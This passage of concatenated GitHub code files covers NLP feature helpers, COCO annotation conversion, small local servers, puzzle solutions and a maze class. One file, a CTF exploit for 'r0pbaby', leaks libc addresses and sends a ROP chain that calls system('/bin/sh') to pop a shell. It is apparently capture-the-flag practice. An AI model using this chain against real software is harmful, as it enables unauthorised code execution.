fill_custom_paths(paths)\n if host_num in inits:\n logging.info(\"INITIATOR\")\n for init in inits[host_num]:\n p = threading.Thread(target=spam, daemon=True, args=unpack(init, paths, cv))\n p.start()\n server_address = ('', 8000)\n httpd = server_class(server_address, handler_class)\n threading.Thread(target=poster, daemon=True).start()\n logging.info(\"RUNNING\")\n httpd.serve_forever()\n logging.info(\"in\", posted, \"out\", spamed)\n q.join()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='http server doing something.')\n parser.add_argument(\"--flows\", default=\"flows\", help=\"Flows with path and tickrate, file without extension.\")\n parser.add_argument(\"--use_path_alg\", default=False, action='store_true', help=\"Use path algorithm (dijkstra).\")\n parser.add_argument(\"--log-level\", default=logging.INFO, type=lambda x: getattr(logging, x), help=\"Configure the logging level.\")\n args = parser.parse_args()\n logging.basicConfig(level=args.log_level)\n\n run(flows_path=args.flows, use_path_alg=args.use_path_alg)\n","repo_name":"UnluckyAF/sdn-mininet","sub_path":"hard_topo/http_serv.py","file_name":"http_serv.py","file_ext":"py","file_size_in_byte":7148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"7384527717","text":"from http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib.parse import urlparse, parse_qs\n\nclass PyLocalServerHandler(BaseHTTPRequestHandler):\n\n def do_GET(self):\n u = urlparse(self.path)\n params = parse_qs(u.query)\n if \"code\" in params:\n self.server.setCode(params[\"code\"][0])\n if \"state\" in params:\n self.server.setState(params[\"state\"][0])\n\n error = None\n errorDescription = \"\"\n if \"error\" in params:\n error = params[\"error\"]\n if error == None or error == \"\" or error == []:\n self.GotCode = True\n else:\n self.GotCode = False\n if \"error_description\" in params:\n errorDescription = params[\"error_description\"]\n\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/html\")\n self.end_headers()\n self.wfile.write(bytes(\"SpotifyTeamsSync Authentication\", \"utf-8\"))\n self.wfile.write(bytes(\"\", \"utf-8\"))\n if error != \"\":\n self.wfile.write(bytes(f\"
Error: {error}
{errorDescription}
\", \"utf-8\")) \n self.wfile.write(bytes(\"
This browser/tab maybe closed.
\", \"utf-8\"))\n self.wfile.write(bytes(\"\", \"utf-8\"))\n\nclass PyLocalServer(HTTPServer):\n code = ''\n gotCode = False\n _hostName = \"localhost\"\n _serverPort = 8443\n _redirectUrl = f\"http://{_hostName}:{_serverPort}/callback\"\n\n def __init__(self, handlerClass = PyLocalServerHandler):\n super().__init__((self._hostName, self._serverPort), handlerClass)\n\n def getRedirectUrl(self):\n return self._redirectUrl\n\n def setCode(self, value):\n self.code = value\n self.gotCode = True\n\n def getCode(self) -> str:\n return self.code\n \n def hasCode(self) -> bool:\n return self.gotCode\n\n def setState(self, value: str):\n self.state = value\n \n def getState(self) -> str:\n return self.state\n \ndef runServer(srv):\n try:\n srv.handle_request()\n except KeyboardInterrupt:\n pass\n \n srv.server_close()","repo_name":"jurek333/SpotifyTeamsSync","sub_path":"ApiClients/local_server.py","file_name":"local_server.py","file_ext":"py","file_size_in_byte":2159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"6911614893","text":"size = 20\nmemorization = []\nfor i in range(0, size+1):\n memorization.append([])\n for j in range(0, size+1):\n memorization[i].append(-1)\n\ndef move(R, D, Rm, Dm):\n routes = 0\n if(memorization[D][R] != -1):\n return memorization[D][R]\n else:\n if(R < Rm):\n routes = routes + move(R+1, D, Rm, Dm)\n if(D < Dm):\n routes = routes + move(R, D+1, Rm, Dm)\n if(R == Rm and D == Dm):\n routes = routes + 1\n memorization[D][R] = routes\n return routes\n\nprint(\"Working...\")\nprint(move(0, 0, size, size))\n","repo_name":"green1fellas/Python","sub_path":"ProjectEuler/15.py","file_name":"15.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"5851491274","text":"option = \"-\"\r\nwhile True:\r\n if option in range(1, 7):\r\n print(\"You have chosen option {}\".format(option))\r\n print(\"What else would you like to do? \")\r\n option = int(input())\r\n else:\r\n option = int(input(\"Please choose one of the options below :\\n\"\r\n \"1. Go Swimming\\n\"\r\n \"2. Go Trekking\\n\"\r\n \"3. Go Shopping\\n\"\r\n \"4. Go Skiing\\n\"\r\n \"5. Go Clubbing\\n\"\r\n \"6. Stay Home\\n\"\r\n \"0. Exit\\n\"))\r\n if option == 0:\r\n print(\"You are quitting\")\r\n break\r\n","repo_name":"Akhichow/PythonCode","sub_path":"Challenge2.py","file_name":"Challenge2.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"70685972036","text":"import matplotlib.pyplot as plt\nfrom matplotlib.collections import LineCollection\nimport numpy as np\nimport pandas as pd\nfrom sklearn.cluster import KMeans\n\n# Tokenizer\nimport nltk\nfrom nltk.tokenize import sent_tokenize, word_tokenize\n\ndef tokenizer_fct(sentence) :\n # print(sentence)\n sentence_clean = sentence.replace('-', ' ').replace('+', ' ').replace('/', ' ').replace('#', ' ')\n word_tokens = word_tokenize(sentence_clean)\n return word_tokens\n\n# Stop words\nfrom nltk.corpus import stopwords\nstop_w = list(set(stopwords.words('english'))) + ['[', ']', ',', '.', ':', '?', '(', ')']\n\ndef stop_word_filter_fct(list_words) :\n filtered_w = [w for w in list_words if not w in stop_w]\n filtered_w2 = [w for w in filtered_w if len(w) > 2]\n return filtered_w2\n\n# lower case et alpha\ndef lower_start_fct(list_words) :\n lw = [w.lower() for w in list_words if (not w.startswith(\"@\")) \n # and (not w.startswith(\"#\"))\n and (not w.startswith(\"http\"))]\n return lw\n\n# Lemmatizer (base d'un mot)\nfrom nltk.stem import WordNetLemmatizer\n\ndef lemma_fct(list_words) :\n lemmatizer = WordNetLemmatizer()\n lem_w = [lemmatizer.lemmatize(w) for w in list_words]\n return lem_w\n\n# Fonction de préparation du texte pour le bag of words (Countvectorizer et Tf_idf, Word2Vec)\ndef transform_bow_fct(desc_text) :\n word_tokens = tokenizer_fct(desc_text)\n sw = stop_word_filter_fct(word_tokens)\n lw = lower_start_fct(sw)\n # lem_w = lemma_fct(lw) \n transf_desc_text = ' '.join(lw)\n return transf_desc_text\n\n# Fonction de préparation du texte pour le bag of words avec lemmatization\ndef transform_bow_lem_fct(desc_text) :\n word_tokens = tokenizer_fct(desc_text)\n sw = stop_word_filter_fct(word_tokens)\n lw = lower_start_fct(sw)\n lem_w = lemma_fct(lw) \n transf_desc_text = ' '.join(lem_w)\n return transf_desc_text\n\n# Fonction de préparation du texte pour le Deep learning (USE et BERT)\ndef transform_dl_fct(desc_text) :\n word_tokens = tokenizer_fct(desc_text)\n# sw = stop_word_filter_fct(word_tokens)\n lw = lower_start_fct(word_tokens)\n # lem_w = lemma_fct(lw) \n transf_desc_text = ' '.join(lw)\n return transf_desc_text\n\n# Fonction de préparation des sentences\ndef bert_inp_fct(sentences, bert_tokenizer, max_length) :\n input_ids=[]\n token_type_ids = []\n attention_mask=[]\n bert_inp_tot = []\n\n for sent in sentences:\n bert_inp = bert_tokenizer.encode_plus(sent,\n add_special_tokens = True,\n max_length = max_length,\n padding='max_length',\n return_attention_mask = True, \n return_token_type_ids=True,\n truncation=True,\n return_tensors=\"tf\")\n \n input_ids.append(bert_inp['input_ids'][0])\n token_type_ids.append(bert_inp['token_type_ids'][0])\n attention_mask.append(bert_inp['attention_mask'][0])\n bert_inp_tot.append((bert_inp['input_ids'][0], \n bert_inp['token_type_ids'][0], \n bert_inp['attention_mask'][0]))\n\n input_ids = np.asarray(input_ids)\n token_type_ids = np.asarray(token_type_ids)\n attention_mask = np.array(attention_mask)\n \n return input_ids, token_type_ids, attention_mask, bert_inp_tot\n \n\n# Fonction de création des features\ndef feature_BERT_fct(model, model_type, sentences, max_length, b_size, mode='HF') :\n batch_size = b_size\n batch_size_pred = b_size\n bert_tokenizer = AutoTokenizer.from_pretrained(model_type)\n time1 = time.time()\n\n for step in range(len(sentences)//batch_size) :\n idx = step*batch_size\n input_ids, token_type_ids, attention_mask, bert_inp_tot = bert_inp_fct(sentences[idx:idx+batch_size], \n bert_tokenizer, max_length)\n \n if mode=='HF' : # Bert HuggingFace\n outputs = model.predict([input_ids, attention_mask, token_type_ids], batch_size=batch_size_pred)\n last_hidden_states = outputs.last_hidden_state\n\n if mode=='TFhub' : # Bert Tensorflow Hub\n text_preprocessed = {\"input_word_ids\" : input_ids, \n \"input_mask\" : attention_mask, \n \"input_type_ids\" : token_type_ids}\n outputs = model(text_preprocessed)\n last_hidden_states = outputs['sequence_output']\n \n if step ==0 :\n last_hidden_states_tot = last_hidden_states\n last_hidden_states_tot_0 = last_hidden_states\n else :\n last_hidden_states_tot = np.concatenate((last_hidden_states_tot,last_hidden_states))\n \n features_bert = np.array(last_hidden_states_tot).mean(axis=1)\n \n time2 = np.round(time.time() - time1,0)\n print(\"temps traitement : \", time2)\n \n return features_bert, last_hidden_states_tot\n\ndef feature_USE_fct(sentences, b_size) :\n batch_size = b_size\n time1 = time.time()\n\n for step in range(len(sentences)//batch_size) :\n idx = step*batch_size\n feat = embed(sentences[idx:idx+batch_size])\n\n if step ==0 :\n features = feat\n else :\n features = np.concatenate((features,feat))\n\n time2 = np.round(time.time() - time1,0)\n return features\n\nimport time\nfrom sklearn import manifold, metrics\nfrom sklearn.preprocessing import StandardScaler\n\n# Calcul Tsne, détermination des clusters et calcul ARI entre vrais catégorie et n° de clusters\ndef ARI_fct(features,l_cat) :\n time1 = time.time()\n num_labels=len(l_cat)\n tsne = manifold.TSNE(n_components=2, perplexity=30, n_iter=2000, \n init='random', learning_rate=200, random_state=42)\n X_tsne = tsne.fit_transform(features)\n \n # Détermination des clusters à partir des données après Tsne \n cls = KMeans(n_clusters=num_labels, n_init=100, random_state=42)\n cls.fit(X_tsne)\n ARI = np.round(metrics.adjusted_rand_score(y_cat_num, cls.labels_),4)\n time2 = np.round(time.time() - time1,0)\n print(\"ARI : \", ARI, \"time : \", time2)\n \n return ARI, X_tsne, cls.labels_\n\n# Calcul Tsne, détermination des clusters à partir des données de feautures \ndef ARI_fct_1(features,l_cat) :\n time1 = time.time()\n num_labels=len(l_cat)\n tsne = manifold.TSNE(n_components=2, perplexity=30, n_iter=2000, \n init='random', learning_rate=200, random_state=42)\n X_tsne = tsne.fit_transform(features)\n \n # Détermination des clusters à partir des données avant TSNE\n cls = KMeans(n_clusters=num_labels, n_init=100, random_state=42)\n scl=StandardScaler(with_mean=False).fit(features)\n X_std=scl.transform(features)\n cls.fit(X_std)\n \n ARI = np.round(metrics.adjusted_rand_score(y_cat_num, cls.labels_),4)\n time2 = np.round(time.time() - time1,0)\n print(\"ARI : \", ARI, \"time : \", time2)\n \n return ARI, X_tsne, cls.labels_\n\n# visualisation du Tsne selon les vraies catégories et selon les clusters\ndef TSNE_visu_fct(X_tsne, y_cat_num, labels, ARI) :\n fig = plt.figure(figsize=(15,6))\n \n ax = fig.add_subplot(121)\n scatter = ax.scatter(X_tsne[:,0],X_tsne[:,1], c=y_cat_num, cmap='Set1')\n #ax.legend(handles=scatter.legend_elements()[0], labels=l_cat, loc=\"best\", title=\"Categorie\")\n plt.title('Représentation des catégories réelles')\n \n ax = fig.add_subplot(122)\n scatter = ax.scatter(X_tsne[:,0],X_tsne[:,1], c=labels, cmap='Set1')\n #ax.legend(handles=scatter.legend_elements()[0], labels=set(labels), loc=\"best\", title=\"Clusters\")\n plt.title('Représentation des catégorie par clusters')\n \n plt.show()\n print(\"ARI : \", ARI)\n\n\ndef display_scree_plot(pca):\n scree = pca.explained_variance_ratio_*100\n plt.bar(np.arange(len(scree))+1, scree)\n plt.plot(np.arange(len(scree))+1, scree.cumsum(),c=\"red\",marker='o')\n #plt.axhline(y=100/pca.n_components, color='black', linestyle='-')\n plt.xlabel(\"rang de l'axe d'inertie\")\n plt.ylabel(\"pourcentage d'inertie\")\n plt.title(\"Eboulis des valeurs propres\")\n plt.show(block=False)\n\ndef display_kaiser_plot(pca):\n scree = pca.explained_variance_ratio_*100\n plt.bar(np.arange(len(scree))+1, scree)\n #plt.plot(np.arange(len(scree))+1, scree.cumsum(),c=\"red\",marker='o')\n plt.axhline(y=100/pca.n_components, color='black', linestyle='-')\n plt.xlabel(\"rang de l'axe d'inertie\")\n plt.ylabel(\"pourcentage d'inertie\")\n plt.title(\"Eboulis des valeurs propres\")\n plt.show(block=False)","repo_name":"Zekrifa-Abdelmoumen/OpenClassroom_project_6","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":8850,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"}
+{"seq_id":"72535291393","text":"'''\nDescription:\nVersion:\nAuthor: Leidi\nDate: 2021-10-19 15:55:16\nLastEditors: Leidi\nLastEditTime: 2021-12-28 16:19:03\n'''\nimport cv2\nimport time\nimport numpy as np\n\nfrom utils.utils import *\nfrom base.image_base import *\nfrom utils.convertion_function import *\nfrom annotation.annotation_temp import TEMP_LOAD\n\n\ndef get_image_information(dataset: dict, coco: dict, n: int, temp_annotation_path: str) -> None:\n \"\"\"[获取暂存标注信息]\n\n Args:\n dataset (dict): [数据集信息字典]\n coco (dict): [coco汇总字典]\n n (int): [图片id]\n temp_annotation_path (str): [暂存标签路径]\n \"\"\"\n\n image = TEMP_LOAD(dataset, temp_annotation_path)\n if image == None:\n return\n # 图片基础信息\n image_information = {'license': random.randint(0, len(coco['licenses'])),\n 'file_name': image.image_name_new,\n 'coco_url': 'None',\n 'height': image.height,\n 'width': image.width,\n 'date_captured': time.strftime('%Y/%m/%d %H:%M:%S', time.localtime()),\n 'flickr_url': 'None',\n 'id': n\n }\n\n return image_information\n\n\ndef get_annotation(dataset: dict, n: int, temp_annotation_path: str) -> None:\n \"\"\"[获取暂存标注信息]\n\n Args:\n dataset (dict): [数据集信息字典]\n n (int): [图片id]\n temp_annotation_path (str): [暂存标签路径]\n \"\"\"\n\n image = TEMP_LOAD(dataset, temp_annotation_path)\n if image == None:\n return\n # 获取图片分割信息\n one_image_annotations_list = []\n if len(image.true_segmentation_list):\n for true_segmentation in image.true_segmentation_list:\n bbox = true_segmentation_to_true_box(true_segmentation)\n segmentation = np.asarray(\n true_segmentation.segmentation).flatten().tolist()\n area = int(cv2.contourArea(\n np.array(true_segmentation.segmentation)))\n one_image_annotations_list.append({'segmentation': [segmentation],\n 'bbox': bbox,\n 'area': area,\n 'iscrowd': true_segmentation.iscrowd,\n 'image_id': n,\n 'category_id': (dataset['detect_class_list_new'] + dataset['segment_class_list_new']).index(true_segmentation.clss),\n 'id': 0})\n # 图片真实框信息\n if len(image.true_box_list):\n for true_box in image.true_box_list:\n bbox = [int(true_box.xmin),\n int(true_box.ymin),\n int(true_box.xmax-true_box.xmin),\n int(true_box.ymax-true_box.ymin),\n ]\n segmentation = [str(true_box.xmin), str(\n true_box.ymin), str(true_box.xmax), str(true_box.ymax)]\n area = int(true_box.xmax-true_box.xmin) * \\\n int(true_box.ymax-true_box.ymin)\n one_image_annotations_list.append({'segmentation': [segmentation],\n 'bbox': bbox,\n 'area': area,\n 'iscrowd': 0,\n 'image_id': n,\n 'category_id': (dataset['detect_class_list_new'] + dataset['segment_class_list_new']).index(true_segmentation.clss),\n 'id': 0})\n\n return one_image_annotations_list\n","repo_name":"leidi1989/2D_Dataset_clean","sub_path":"Multi_task_dataset_clean_up/annotation/dataset_output_function/coco2017.py","file_name":"coco2017.py","file_ext":"py","file_size_in_byte":3765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"32690917981","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*\n\nfrom pwn import *\nfrom sys import argv\nfrom time import sleep\n\ncontext.terminal = ['terminator','-e']\ncontext.log_level = \"debug\"\n\nchall = \"./r0pbaby\"\nlibc = ELF(\"/usr/lib/libc.so.6\")\nelf = ELF(chall)\ncontext.binary = chall\ncontext.binary.checksec()\n\nif len(argv) >= 2 and argv[1] == \"r\":\n p = remote(\"example.com\", 4444)\nelif len(argv) >= 2 and argv[1] == \"d\":\n\tcmd = \"\"\"\n\t\tb __libc_start_main\n\t\tc\n\t\"\"\"\n\tp = gdb.debug(chall,cmd)\nelse:\n p = process(chall)\n\n\npop_rdi_offset = 0x27f75\nbin_sh_offset = 0x18bb62\n\n# Get libc base address\n#p.recvuntil(\": \")\n#p.sendline(\"1\")\n#p.recvuntil(\"libc.so.6: \")\n#libc_base = eval(p.recv(18))\n#log.info(\"libc_base: 0x{:08x}\".format(libc_base))\n#pop_rdi_addr = libc_base + pop_rdi_offset\n#log.info(\"pop rdi; ret: 0x{:08x}\".format(pop_rdi_addr))\n#bin_sh_addr = libc_base + bin_sh_offset\n#log.info(\"/bin/sh address: 0x{:08x}\".format(bin_sh_offset))\n\n# Get system@libc address\np.recvuntil(\": \")\np.sendline(\"2\")\np.recvuntil(\"Enter symbol: \")\np.sendline(\"system\")\np.recvuntil(\"Symbol system: \")\nsystem_libc_addr = eval(p.recv(18))\nlog.info(\"system@libc: 0x{:08x}\".format(system_libc_addr))\n\nlibc_base = system_libc_addr - libc.symbols['system']\nlog.info(\"libc_base: 0x{:08x}\".format(libc_base))\npop_rdi_addr = libc_base + pop_rdi_offset\nlog.info(\"pop rdi; ret: 0x{:08x}\".format(pop_rdi_addr))\nbin_sh_addr = libc_base + bin_sh_offset\nlog.info(\"/bin/sh address: 0x{:08x}\".format(bin_sh_addr))\n\npayload = b\"A\" * 0x8# buffer for saved rbp\npayload += p64(pop_rdi_addr)\npayload += p64(bin_sh_addr)\npayload += p64(system_libc_addr)\n\np.recvuntil(\": \")\np.sendline(\"3\")\np.recvuntil(\"Enter bytes to send (max 1024):\")\np.sendline(\"%d\" % (len(payload)))\np.sendline(payload)\n\np.interactive()\n","repo_name":"t3mp-0xCC/write-up","sub_path":"ctf4u/r0pbaby/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"32272063396","text":"from aquilon.exceptions_ import ArgumentError\nfrom aquilon.aqdb.model import Host, Personality, HostGrnMap, PersonalityGrnMap\nfrom aquilon.worker.broker import BrokerCommand # pylint: disable=W0611\nfrom aquilon.worker.dbwrappers.grn import lookup_grn\n\n\nclass CommandDelGrn(BrokerCommand):\n\n def render(self, session, logger, grn, eon_id, **arguments):\n dbgrn = lookup_grn(session, grn, eon_id, logger=logger,\n config=self.config, usable_only=False)\n\n q1 = session.query(Host)\n q1 = q1.filter_by(owner_eon_id=dbgrn.eon_id)\n q2 = session.query(HostGrnMap)\n q2 = q2.filter_by(eon_id=dbgrn.eon_id)\n if q1.first() or q2.first():\n raise ArgumentError(\"GRN %s is still used by hosts, and \"\n \"cannot be deleted.\" % dbgrn.grn)\n\n q1 = session.query(Personality)\n q1 = q1.filter_by(owner_eon_id=dbgrn.eon_id)\n q2 = session.query(PersonalityGrnMap)\n q2 = q2.filter_by(eon_id=dbgrn.eon_id)\n if q1.first() or q2.first():\n raise ArgumentError(\"GRN %s is still used by personalities, \"\n \"and cannot be deleted.\" % dbgrn.grn)\n\n session.delete(dbgrn)\n session.flush()\n return\n","repo_name":"gombasg/aquilon","sub_path":"lib/python2.6/aquilon/worker/commands/del_grn.py","file_name":"del_grn.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"}
+{"seq_id":"1959731216","text":"import sys\nimport math\nfrom string import ascii_lowercase\n\nl = int(input())\nh = int(input())\nt = input()\n\n\narr = []\nfor i in range(h):\n row = input()\n arr.append([row[x:x+l] for x in range(0, len(row), l)])\n print(arr[i], file=sys.stderr, flush=True)\n\nidx = [ord(char) - 97 for char in t.lower()]\n\nfor u in range(h):\n string = \"\"\n for num in idx:\n try:\n string += arr[u][num]\n except:\n string += arr[u][-1]\n print(string)","repo_name":"VedantNemane/Codingame","sub_path":"ASCII_Art.py","file_name":"ASCII_Art.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"20230585061","text":"from tkinter import *\nfrom PIL import ImageTk, Image\n\nwindow = Tk()\nwindow.title('Application')\nwindow.geometry('600x600')\nwindow.configure(bg='red')\nwindow.iconbitmap('myico.ico')\n\n\nhome = Frame(window)\nhome.configure(bg='blue')\npage1 = Frame(window)\npage2 = Frame(window)\npage3 = Frame(window)\npage4 = Frame(window)\n\ndef raise_to(frame):\n frame.tkraise()\n\nfor frame in (home, page1, page2, page3, page4):\n frame.grid(row=0, column=0, sticky='news')\n\n# ================= Home Page ===================================\nimage = ImageTk.PhotoImage(Image.open('myIcon..png'))\nlogo = Label(home, image=image)\nlogo.pack(side='top')\nbutton = Button(home, text=\"next\", command=lambda:raise_to(page1))\nbutton.pack()\n\n# ==================== ===========================================\nwelcome1 = Label(page1, text=\"PageOne\")\nwelcome1.pack()\nbutton = Button(page1, text=\"next\", command=lambda:raise_to(page2))\nbutton.pack()\nwelcome2 = Label(page2, text=\"pageTwo\")\nwelcome2.pack()\nbutton = Button(page2, text=\"next\", command=lambda:raise_to(page3))\nbutton.pack()\nwelcome3 = Label(page3, text=\"pageThree\")\nwelcome3.pack()\nbutton = Button(page3, text=\"next\", command=lambda:raise_to(page4))\nbutton.pack()\nwelcome4 = Label(page4, text=\"pageFour\")\nwelcome4.pack()\nbutton = Button(page4, text=\"next\", command=lambda:raise_to(home))\nbutton.pack()\nraise_to(home)\nwindow.mainloop()\n","repo_name":"abdirahmandhiblaawe/python-projects","sub_path":"GUI programming/home.py","file_name":"home.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"23572697611","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport collections\nimport queue\n\ndef simulate(N, K):\n arr = [1] + [0] * N + [1]\n\n for k in range(K):\n max_pos = -1\n max_d_l = -1\n max_d_r = -1\n for i in range(1, N + 1):\n if arr[i] == 1:\n continue\n dist_r = arr.index(1, i) - i - 1\n rev_i = len(arr) - i - 1\n dist_l = arr[::-1].index(1, rev_i) - rev_i - 1\n# print(\"dist_l, dist_r = \", dist_l, dist_r)\n if min(dist_l, dist_r) > min(max_d_l, max_d_r) or \\\n min(dist_l, dist_r) == min(max_d_l, max_d_r) and \\\n max(dist_l, dist_r) > max(max_d_l, max_d_r):\n max_d_l = dist_l\n max_d_r = dist_r\n max_pos = i\n arr[max_pos] = 1\n\n return tuple(reversed(sorted([max_d_l, max_d_r])))\n\n\ndef split_two(n):\n mn = mx = (n - 1) // 2\n if mn + mx < n - 1:\n mx += 1\n return (mx, mn)\n \ndef add_num(q, c, n, num):\n if n not in c:\n q.put(-n)\n c[n] += num\n\ndef fast(N, K):\n q = queue.PriorityQueue()\n q.put(-N)\n c = collections.Counter()\n c[N] = 1\n while K > 0:\n n = -q.get()\n num = c[n]\n del c[n]\n if num >= K:\n return split_two(n)\n else:\n K -= num\n mx, mn = split_two(n)\n if mx == mn and mx != 0:\n add_num(q, c, mx, num * 2)\n else:\n if mn != 0:\n add_num(q, c, mn, num)\n add_num(q, c, mx, num)\n\n\n# for n in range(1, 1001):\n# for k in range(1, n + 1):\n# ans1 = simulate(n, k)\n# ans2 = fast(n, k)\n# if ans1 != ans2:\n# print(\"error! n, k, sim, fast = \", n, k, ans1, ans2)\n# sys.exit(0)\n# break\n# else:\n# pass\n\ndef solve():\n N, K = map(int, input().split())\n print(\" \".join(str(x) for x in fast(N, K)))\n\ndef main():\n T = int(input())\n for t in range(T):\n print (\"Case #\" + str(t+1) + \": \", end=\"\")\n solve()\n\nmain()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/543.py","file_name":"543.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"34515117211","text":"# sleight_hand_b.py\n# ID успешной посылки 69396370\n\ndef input_data():\n key_board = []\n while len(key_board) != 16:\n key_board.extend([int(i) if i.isdigit() else 0 for i in list(input())])\n return key_board\n\n\ndef speed_typing(keys, key_board):\n points = 0\n for i in range(1, 10):\n if 0 < key_board.count(i) <= keys:\n points += 1\n return points\n\n\nif __name__ == '__main__':\n keys = (int(input()) * 2)\n print(speed_typing(keys, input_data()))\n","repo_name":"netzen86/ynx.alg","sub_path":"sleight_hand_B.py","file_name":"sleight_hand_B.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"26035839089","text":"import numpy as np\r\nimport PIL.Image as Image\r\n\r\n\r\ndef get_data(data_list):\r\n with open(data_list,'r') as f:\r\n im_list = [line.rstrip().split(' ') for line in f.readlines()]\r\n return im_list\r\n\r\n\r\n'''gt_list = '/datatmp/Datasets/segmentation/cityscapes/gtFine_train_fullIds.txt'\r\ndata_gt = get_data(gt_list)\r\nfor i in range(len(data_gt)):\r\n\tgt = np.asarray(Image.open(data_gt[i][0]), dtype=np.uint8)\r\n\tif i == 0:\r\n\t\tacc_acum = np.zeros(gt.shape, dtype=np.int32)\r\n\tmask = gt == 1\r\n\tacc_acum = acc_acum + mask\r\n\tprint('%d/%d' % (i+1,len(data_gt)))\r\nprint(np.unique(acc_acum))\r\nmask = acc_acum != 0\r\nmask = Image.fromarray(np.uint8(mask)*255)\r\nmask.save('ego_vehicle_mask.png')'''\r\n\r\ngt_list = '/datatmp/Datasets/segmentation/bdd100k/train_bdd10k_images.txt'\r\ndata_gt = get_data(gt_list)\r\nfor i in range(len(data_gt)):\r\n\tgt = np.asarray(Image.open(data_gt[i][0]), dtype=np.uint8)\r\n\tif gt.shape[0] > gt.shape[1]:\r\n\t\tprint(data_gt[i][0])\r\n\t\tprint(gt.shape)\r\n\t'''print('%d/%d' % (i+1,len(data_gt)))'''","repo_name":"JoseLGomez/Co-training_SemSeg_UDA","sub_path":"tools/utils/generate_ego_vehicle_mask.py","file_name":"generate_ego_vehicle_mask.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"9459986402","text":"# Use the summary stats and the external binary search to annotate the \n# positions of SNPs from a summary stats file\n\nimport csv\nimport subprocess\nimport sys\n\n###############################################################################\n# Summary stats filename\nsummaryStatsFilename = sys.argv[1]\n\n# The SNP ID index in the summary stats (Index starting at 0)\nsnpIndex = int(sys.argv[2])\n\npvalueIndex = int(sys.argv[3])\n\noutputFilename = sys.argv[4]\n\n# The name of the variation file\nvariationFilename = \"/mnt/isilon/sfgi/hammondrk/hg19Data/variation/hg19.snp151.sortedByName.txt\"\n\nbinarySearchPath = \"/home/hammondrk/pts-line-bisect/pts_lbsearch\"\n\n###############################################################################\n\ndef main():\n # Open the output file to write the data to\n with open(outputFilename, \"w\") as g_out:\n\n with open(summaryStatsFilename, \"r\") as f_in:\n reader = csv.reader(f_in, delimiter = \"\\t\")\n next(reader)\n\n for row in reader:\n snpID = row[snpIndex].split(\":\")[0]\n pvalue = row[pvalueIndex]\n\n command = \"%s -p %s %s | head -1 | awk -v OFS='\\t' '{ \"\\\n \"print $1,$2,$3; }'\" % (binarySearchPath,\n variationFilename, snpID)\n\n results = subprocess.run(command, shell = True,\n stdout=subprocess.PIPE)\n\n toWrite = results.stdout.decode(\"UTF-8\").strip()\n toWrite += \"\\t%s\" % pvalue\n\n g_out.write(\"%s\\n\" % toWrite)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"rkweku/SubThresholdProjectScripts","sub_path":"createSummaryPosFromSummaryStats.py","file_name":"createSummaryPosFromSummaryStats.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"5941781123","text":"import random\n\nclass Maze:\n\n def __init__(self, max_row = 12, max_sol = 12):\n \"\"\"Create a maze\"\"\"\n self.MAXROW = max_row\n self.MAXCOL = max_sol\n self.POSSIBLEPATH = ' '\n self.BLOCKER = '*'\n self.THEWAYOUT = '!'\n\n self.PATH_BLOCKER_RATIO = 0.5\n\n self.the_maze = self._gen_maze()\n\n\n def _gen_maze(self):\n\n \"\"\"Generate a random maze based on probability\"\"\"\n local_maze = [['*' for i in range( self.MAXCOL )] \\\n for j in range( self.MAXROW )]\n\n for row in range( self.MAXROW ):\n for col in range( self.MAXCOL ):\n threshold = random.random()\n if threshold > self.PATH_BLOCKER_RATIO:\n local_maze[row][col] = self.POSSIBLEPATH\n else:\n local_maze[row][col] = self.BLOCKER\n\n return local_maze\n\n \n def __str__(self):\n\n \"\"\"Generate a string representation of the maze\"\"\"\n maze_str = \" \"\n for i in range(self.get_col_size()):\n maze_str += str(i % 10)\n maze_str += \"\\n\"\n #print(self.the_maze)\n for i in range(self.get_row_size()):\n maze_str += str(i % 10)\n for j in range(self.get_col_size()):\n maze_str += self.the_maze[i][j]\n maze_str += \"\\n\"\n maze_str = maze_str.strip(\"\\n\")\n \n return maze_str\n \n\n def get_col_size(self):\n\n \"\"\"Return column count. \n Note: Mazes will not all be self.MAXROW by self.MAXCOL\"\"\"\n return len(self.the_maze[0])\n\n\n def get_row_size(self):\n\n \"\"\"Return row count\"\"\"\n return len(self.the_maze)\n\n\n def read_maze(self, file_name):\n\n \"\"\"Reading maze from a file.\n The file should be in the form of a matrix, e.g.,\n ** *\n * *\n ** *\n ** 